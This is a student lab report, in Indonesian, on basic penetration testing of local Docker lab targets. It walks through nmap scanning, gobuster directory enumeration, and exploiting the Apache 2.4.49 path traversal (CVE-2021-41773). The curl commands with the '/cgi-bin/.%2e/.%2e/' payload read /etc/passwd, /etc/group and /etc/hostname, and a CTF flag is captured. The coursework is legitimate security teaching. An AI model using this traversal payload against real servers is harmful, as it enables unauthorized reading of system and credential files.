**Langkah Praktikum**

## Langkah 1 (Instalasi Persiapan Lingkungan Praktikum)

1. Buka terminal pada sistem operasi Linux.
2. Pada terminal, lakukan instalasi gobuster

sudo apt install gobuster

1. Lakukan pengecekan hasil instalasi tools, dengan perintah:

gobuster -h

|  |
| --- |
| Penjelasan :  sudo apt install gobuster adalah perintah yang digunakan untuk menginstal Gobuster pada distribusi Linux berbasis Debian (seperti Ubuntu) dengan menggunakan manajer paket apt. Dengan menjalankan perintah gobuster -h, kita merequest panduan penggunaan dari Gobuster. Ini merupakan cara cepat untuk memeriksa apakah instalasi berhasil dan alat tersebut siap digunakan. |

1. instalasi tools curl, dengan perintah:

sudo apt install curl

|  |
| --- |
| Penjelasan :  Curl adalah alat yang digunakan untuk mentransfer data melalui berbagai protokol seperti HTTP, HTTPS, FTP, dan banyak lagi. Curl berfungsi untuk mengambil atau mengirim data melalui jaringan.  sudo apt install curl adalah perintah yang digunakan untuk menginstal Curl. |

1. Lakukan pengecekan hasil instalasi tools, dengan perintah:

curl -h

|  |
| --- |
| Penjelasan :  Dengan menjalankan perintah curl -h, kita merequest panduan penggunaan dari Curl. Ini adalah cara cepat untuk memeriksa apakah instalasi berhasil dan alat tersebut siap digunakan. |

1. Kemudian lakukan cloning github repository untuk lab percobaan bagian 1:

git clone <https://github.com/adhiyaksactf/ki-pentesting.git>

|  |
| --- |
| Penjelasan :  git clone https://github.com/adhiyaksactf/ki-pentesting.git adalah perintah untuk mengkloning repositori dari URL. |

1. Lakukan cloning github repository untuk lab percobaan bagian 2:

git clone <https://github.com/noverdy/ki-xss.git>

|  |
| --- |
| Penjelasan :  git clone https://github.com/noverdy/ki-xss.git adalah perintah untuk mengkloning repositori dari URL. |

1. Masuk ke dalam direktori ki-pentesting dengan perintah:

cd ki-pentesting

1. Melakukan build docker untuk ki-pentesting dengan perintah:

sudo docker-compose up -d

1. Jalankan perintah berikut untuk mengecek apakah service sudah berjalan:

sudo docker ps

|  |
| --- |
| Penjelasan :  Dengan menggunakan Docker Compose dan file konfigurasi docker-compose.yml yang ada di dalam direktori proyek, kita akan membuat dan menjalankan container Docker yang diperlukan untuk praktikum bab ini.  perintah sudo docker ps untuk melihat daftar kontainer Docker yang sedang berjalan |

1. Apabila berhasil maka service akan berjalan pada port 80, sehingga dapat mengakses pada browser dengan alamat localhost:80

|  |
| --- |
|  |

1. Kembali pada terminal Anda lakukan perintah untuk masuk ke direktori ki-xss:

cd ../ki-xss

1. Melakukan build docker untuk ki-xss dengan perintah:

sudo docker-compose up -d

1. Jalankan perintah berikut untuk mengecek apakah service sudah berjalan:

sudo docker ps

|  |
| --- |
| Penjelasan :  Dengan menggunakan Docker Compose dan file konfigurasi docker-compose.yml yang ada di dalam direktori proyek, kita akan membuat dan menjalankan container Docker yang diperlukan untuk praktikum bab ini.  perintah sudo docker ps untuk melihat daftar kontainer Docker yang sedang berjalan |

1. Apabila berhasil maka service akan berjalan pada port 1337, sehingga dapat mengakses pada browser dengan alamat localhost:1337

|  |
| --- |
|  |

## Langkah 2 (Basic Penetration Testing )

Berikut ini langkah-langkah yang perlu dilakukan dalam menyelesaikan lab praktikum:

* **Network Scanning**

1. Pada terminal Anda lakukan network scanning pada target, dengan perintah:

nmap localhost

Port apa yang terbuka dan berjalan pada alamat tersebut?

|  |
| --- |
| Penjelasan :  Untuk mengetahui port mana yang terbuka dan berjalan pada alamat localhost setelah melakukan network scanning kita menggunakan Nmap. |

1. Selanjutnya, kita perlu mendeteksi Sistem operasi, versi, dan informasi lainnya pada port yang terbuka dan berjalan tersebut, dengan perintah:

nmap -p MasukkanPort -A -v localhost

Coba jelaskan servis apa yang berjalan pada port tersebut, dan apa kerentanan yang mungkin dimiliki pada servis tersebut?

|  |
| --- |
| nmap -p 80 -A -v localhost      Penjelasan :  Perintah diatas memberikan informasi lebih rinci tentang servis yang berjalan pada port, serta mencoba mendeteksi sistem operasi dan versi yang digunakan.   * Port 80/tcp terbuka, yang menunjukkan bahwa ada layanan HTTP yang berjalan di sistem. * Servis tersebut diidentifikasi sebagai Apache httpd versi 2.4.49 yang berjalan di sistem operasi Unix. * Informasi tambahan menunjukkan bahwa server web Apache mendukung metode HTTP seperti GET, POST, OPTIONS, HEAD, dan TRACE. Metode TRACE yang diketahui memiliki potensi keamanan yang rentan terhadap serangan Cross-Site Tracing (XST). * Title halaman web tidak tersedia, yang bisa saja menjadi tanda dari konfigurasi standar atau mungkin ada masalah dalam pengaturan halaman tersebut. * Potensi kerentanan terletak pada dukungan terhadap metode TRACE. Metode ini dapat digunakan untuk melakukan serangan Cross-Site Tracing (XST) jika tidak dikonfigurasi dengan benar atau jika layanan tersebut tidak memerlukan metode TRACE. |

* **Directory Scanning**

1. Untuk mengetahui direktori atau asset yang dimiliki dari sebuah servis atau website kita dapat menggunakan tools directory scanning dengan wordlist yang sudah kita siapkan sebelumnya. Dengan menggunakan perintah:

gobuster dir -w WORDLIST.txt -u localhost

|  |
| --- |
| Penjelasan :  Perintah gobuster digunakan untuk menjalankan alat scanning direktori. Opsi dir menunjukkan bahwa kita ingin melakukan scanning direktori. -w WORDLIST.txt adalah opsi untuk menentukan wordlist yang akan digunakan untuk mencoba nama-nama direktori. -u localhost menentukan URL atau alamat yang akan di-scan, dalam hal ini, localhost.  Penjelasan output :   * Gobuster sedang menjalankan mode enumerasi direktori pada URL http://localhost. * Metode yang digunakan adalah GET (Gobuster akan menggunakan permintaan HTTP GET untuk mencoba mengakses direktori-direktori yang ada). * Jumlah thread yang digunakan adalah 10 (Gobuster akan melakukan scanning dengan menggunakan 10 thread secara paralel untuk meningkatkan efisiensi). * Wordlist yang digunakan adalah WORDLIST.txt, yang berisi daftar kata atau direktori yang akan dicoba oleh Gobuster. * Gobuster akan mengabaikan respons dengan kode status 404 (Not Found), yang menunjukkan bahwa direktori tersebut tidak ditemukan. * User agent yang digunakan adalah gobuster/3.6. * Timeout yang ditentukan adalah 10 detik. |

* **Eksploitasi Temuan Kerentanan CVE**

1. Setelah melakukan pengumpulan informasi melalui kedua tools tersebut, kita dapat mengetahui versi apache yang digunakan pada web server tersebut adalah apache HTTP Server 2.4.49, Pada apache versi tersebut dapat kita eksploitasi untuk membaca file sensitif di dalamnya, dengan menggabungkan serangan directory traversal dengan URL encoding. Jelaskan bagaimana mekanisme serangan tersebut dapat terjadi?

localhost:80/cgi-bin/.%2e/.%2e/.%2e/.%2e/TargetPathDirectory

|  |
| --- |
| Penjelasan :  Dengan menggunakan jalur akses yang dimodifikasi dengan karakter-karakter backslash (../) dan URL encoding, kita dapat mencoba mengakses direktori atau file yang sensitif di dalam server.  String /.%2e/ akan diubah oleh server menjadi /../ dalam proses interpretasi URL, yang akan membantu untuk bergerak mundur ke direktori induk  Penjelasan output :  Server memberikan respons no such file or directory karena tidak dapat menemukan sumber daya yang diminta. |

1. Coba manfaatkan kembali tools gobuster untuk menemukan direktori yang tersembunyi dengan memanfaatkan kerentanan dari servis tersebut yang telah Anda ketahui.

gobuster dir -w WORDLIST.txt -u localhost:80/cgi-bin/.%2e/.%2e/.%2e/.%2e

|  |
| --- |
| Penjelasan :  /tmp, /media, /bin, /lib, /var, /home, /dev, /etc, /sys, /usr, /root, /opt, /srv, /run, /proc, /sbin, /mnt: Direktori-direktori ini memberikan respons dengan status 301 (Moved Permanently), yang menunjukkan bahwa server telah memindahkan permintaan ke lokasi lain.  /, /Style Library, /modern mom, /neuf giga photo, /Reports List, /external files, /}, /Användare, /Web References, /My Project, /Contact Us, /ים, /Donate Cash, /Home Page, /Planned Giving, /Press Releases, /Privacy Policy, /Site Map, /除候选, /侵权, /除投票: Direktori-direktori ini memberikan respons dengan status 400 (Bad Request). Ini menunjukkan bahwa server telah menerima permintaan, tetapi tidak dapat memprosesnya karena permintaan tersebut tidak valid atau tidak sesuai dengan aturan server.  /fileadmin: Direktori ini memberikan respons dengan status 200 (OK), yang menunjukkan bahwa server memberikan respons positif. Ini menunjukkan bahwa direktori tersebut ada dan dapat diakses. |

Berikutnya, apabila Anda menemukan direktori yang tersembunyi dengan HTTP response 200, cobalah akses direktori tersebut dengan bantuan tools curl.

curl localhost:80/cgi-bin/.%2e/.%2e/.%2e/.%2e/TargetDirectoryPath

Ubahlah TargetDirectoryPath menjadi direktori yang telah Anda temukan sebelumnya.

|  |
| --- |
| Penjelasan :  Perintah curl tersebut telah menghasilkan output yang menunjukkan adanya pesan dari "Fahrezi" yang berada di dalam direktori etc dengan nama file flag.txt. Pesan tersebut menunjukkan bahwa kita telah berhasil mengakses direktori yang tersembunyi, dan pesan tersebut berisi informasi yang mungkin bermanfaat, seperti pesan untuk admin atau adanya flag dalam file flag.txt. |

1. Berikutnya, untuk menguji coba lebih lanjut kerentanan yang kita temukan. Coba akses /etc/passwd, /etc/group, dan /etc/hostname gunakan tools curl untuk memudahkan serangan. Coba jelaskan apa yang Anda temukan saat mengakses file tersebut?

curl localhost:80/cgi-bin/.%2e/.%2e/.%2e/.%2e/TargetDirectoryPath

|  |
| --- |
| /etc/passwd    /etc/group    /etc/hostname    Penjelasan :  **/etc/passwd**: File /etc/passwd adalah file yang menyimpan informasi dasar mengenai user pada sistem Linux, seperti nama user, UID, GID, direktori rumah, dan shell. Hasil respons dari curl menampilkan beberapa baris entri dari file /etc/passwd, termasuk nama pengguna, UID, GID, direktori rumah, dan shell yang terkait dengan masing-masing pengguna.  **/etc/group**: File /etc/group adalah file yang menyimpan informasi mengenai grup pada sistem Linux, seperti nama grup, GID, dan daftar user yang termasuk dalam grup tersebut. Hasil respons dari curl menampilkan beberapa baris entri dari file /etc/group, termasuk nama grup, GID, dan daftar pengguna yang terkait dengan masing-masing grup.  **/etc/hostname**: File /etc/hostname adalah file yang menyimpan nama host dari sistem. Hasil respons dari curl menampilkan nama host yang terdapat dalam file /etc/hostname. |
| passwd : [Cukup 5 baris awal]  root:x:0:0:root:/root:/bin/ash  bin:x:1:1:bin:/bin:/sbin/nologin  daemon:x:2:2:daemon:/sbin:/sbin/nologin  adm:x:3:4:adm:/var/adm:/sbin/nologin  lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin  group : [Cukup 5 baris awal]  root:x:0:root  bin:x:1:root,bin,daemon  daemon:x:2:root,bin,daemon  sys:x:3:root,bin,adm  adm:x:4:root,adm,daemon  hostname :  e5638191f51f |

1. Terakhir, temukan flag yang tersimpan dalam servis tersebut.

|  |
| --- |
|  |
| Flag :  Flag{CVE\_2021\_41773\_Simpl3\_But\_D4nger0us!!!} |

**Kesimpulan**

Secara garis besar, langkah langkah yang telah dilakukan diantaranya adalah sebagai berikut :

1. **Pengumpulan Informasi Tahap Awal**

Dilakukan instalasi dan pengecekan terhadap alat-alat yang diperlukan, seperti gobuster dan curl, serta mengakses informasi dasar mengenai server target.

1. **Pemindaian dan Identifikasi Kerentanan**

Dilakukan pemindaian terhadap server target menggunakan nmap untuk mengidentifikasi port terbuka dan informasi servis yang berjalan. Selanjutnya, digunakan gobuster untuk mencari direktori-direktori tersembunyi yang mungkin menyimpan informasi sensitif atau kerentanan.

1. **Eksploitasi Kerentanan**

Setelah menemukan kerentanan, dilakukan eksploitasi dengan menggunakan teknik directory traversal untuk mengakses file-file sensitif dalam sistem, seperti /etc/passwd, /etc/group, dan /etc/hostname. Selain itu, juga dieksploitasi kerentanan pada servis Apache HTTP Server 2.4.49 untuk membaca file sensitif.

1. **Penemuan Flag:**

Setelah melakukan eksploitasi dan pengujian lebih lanjut, flag berhasil ditemukan dalam salah satu direktori yang tersembunyi, yang mengonfirmasi keberhasilan dalam mengeksploitasi kerentanan dan mengakses informasi sensitif dalam sistem.

**Evaluasi**

Penggunaan alat-alat seperti nmap, gobuster, dan curl sangat berguna untuk melakukan pemindaian dan pengujian keamanan terhadap sistem. Alat-alat ini memberikan wawasan tentang konfigurasi dan kerentanan potensial yang ada pada server kepada Praktikan.